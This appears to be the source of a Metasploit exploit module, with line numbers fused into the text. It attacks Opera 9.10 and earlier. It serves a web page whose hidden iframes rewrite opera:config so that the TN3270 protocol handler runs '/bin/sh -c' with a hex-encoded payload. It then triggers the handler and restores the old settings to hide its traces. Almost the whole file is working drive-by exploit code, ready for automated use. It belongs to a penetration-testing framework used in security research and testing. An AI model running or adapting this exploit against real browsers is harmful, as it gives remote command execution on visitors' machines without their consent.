Path: blob/master/modules/exploits/multi/browser/opera_configoverwrite.rb
19778 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78#9# This module acts as an HTTP server10#11include Msf::Exploit::Remote::HttpServer::HTML1213include Msf::Exploit::Remote::BrowserAutopwn14autopwn_info({15:ua_name => HttpClients::OPERA,16:ua_maxver => "9.10",17:os_name => [ OperatingSystems::Match::WINDOWS, OperatingSystems::Match::LINUX ],18:javascript => true,19:rank => ExcellentRanking, # reliable cmd exec, cleans up after itself20:vuln_test => nil,21})2223def initialize(info = {})24super(25update_info(26info,27{28'Name' => 'Opera 9 Configuration Overwrite',29'Description' => %q{30Opera web browser in versions <= 9.10 allows unrestricted script31access to its configuration page, opera:config, allowing an32attacker to change settings and potentially execute arbitrary33code.34},35'License' => BSD_LICENSE,36'Author' => [37'egypt', # stolen from mpack38],39'References' => [40[ 'OSVDB', '66472'],41],42'Payload' => {43'EXITFUNC' => 'process',44'Space' => 2048,45'DisableNops' => true,46'BadChars' => " ",47},48'Platform' => %w{unix},49'Targets' => [50# [ 'Opera < 9.10 Windows',51# {52# 'Platform' => 'win',53# 'Arch' => ARCH_X86,54# }55# ],56[57'Opera < 9.10 Unix Cmd',58{59'Platform' => 'unix',60'Arch' => ARCH_CMD,61}62],63],64# Not sure when this was disclosed but it's been known since at65# least March 5, 2007, since that's the release date on the version66# of mpack I stole this from.67'DisclosureDate' => '2007-03-05',68'DefaultTarget' => 0,69'Notes' => {70'Reliability' => UNKNOWN_RELIABILITY,71'Stability' => UNKNOWN_STABILITY,72'SideEffects' => UNKNOWN_SIDE_EFFECTS73}74}75)76)77end7879def on_request_uri(cli, request)80print_status("Got request #{request.uri}")8182case request.uri83when get_resource84print_status("Sending #{self.name}")85content = "<body><script>"86content << generate_evil_js(cli, request)87content << "</script></body>"88headers = { 'Content-Type' => 'text/html' }89else90print_status("404ing request for #{request.uri}")91send_not_found(cli)92return93end94send_response_html(cli, content, headers)9596print_status("Done with request #{request.uri}")97end9899def generate_evil_js(cli, request)100# There are a bunch of levels of quotes here, so the easiest way to101# make everything line up is to hex escape the command to run102p = regenerate_payload(cli).encoded103send_not_found(cli) && return if not p104105shellcode = Rex::Text.to_hex(p, "%")106js = <<~ENDJS107blank_iframe = document.createElement('iframe');108blank_iframe.src = 'about:blank';109blank_iframe.setAttribute('id', 'blank_iframe_window');110blank_iframe.setAttribute('style', 'display:none');111document.body.appendChild(blank_iframe);112blank_iframe_window.eval(113"config_iframe = document.createElement('iframe');" +114"config_iframe.setAttribute('id', 'config_iframe_window');" +115"config_iframe.src = 'opera:config';" +116"document.body.appendChild(config_iframe);" +117"cache_iframe = document.createElement('iframe');" +118"cache_iframe.src = 'opera:cache';" +119"cache_iframe.onload = function ()" +120"{" +121" config_iframe_window.eval" +122" (\\"" +123" old_handler = opera.getPreference('Network','TN3270 App');" +124" old_pref = opera.getPreference('User Prefs','Run TN3270 In Terminal');" +125" shellcode = '#{shellcode}';" +126" opera.setPreference('Network','TN3270 App','/bin/sh -c ' + unescape(shellcode));" +127" opera.setPreference('User Prefs','Run TN3270 In Terminal','0');" +128" app_link = document.createElement('a');" +129" app_link.setAttribute('href', 'tn3270://#{Rex::Text.rand_text_alpha(rand(5) + 5)}');" +130" app_link.click();" +131" setTimeout(function () {opera.setPreference('Network','TN3270 App',old_handler)},1000);" +132" setTimeout(function () {opera.setPreference('User Prefs','Run TN3270 In Terminal',old_pref)},1000);" +133" \\");" +134"};" +135"document.body.appendChild(cache_iframe);" +136"");137ENDJS138end139end140141142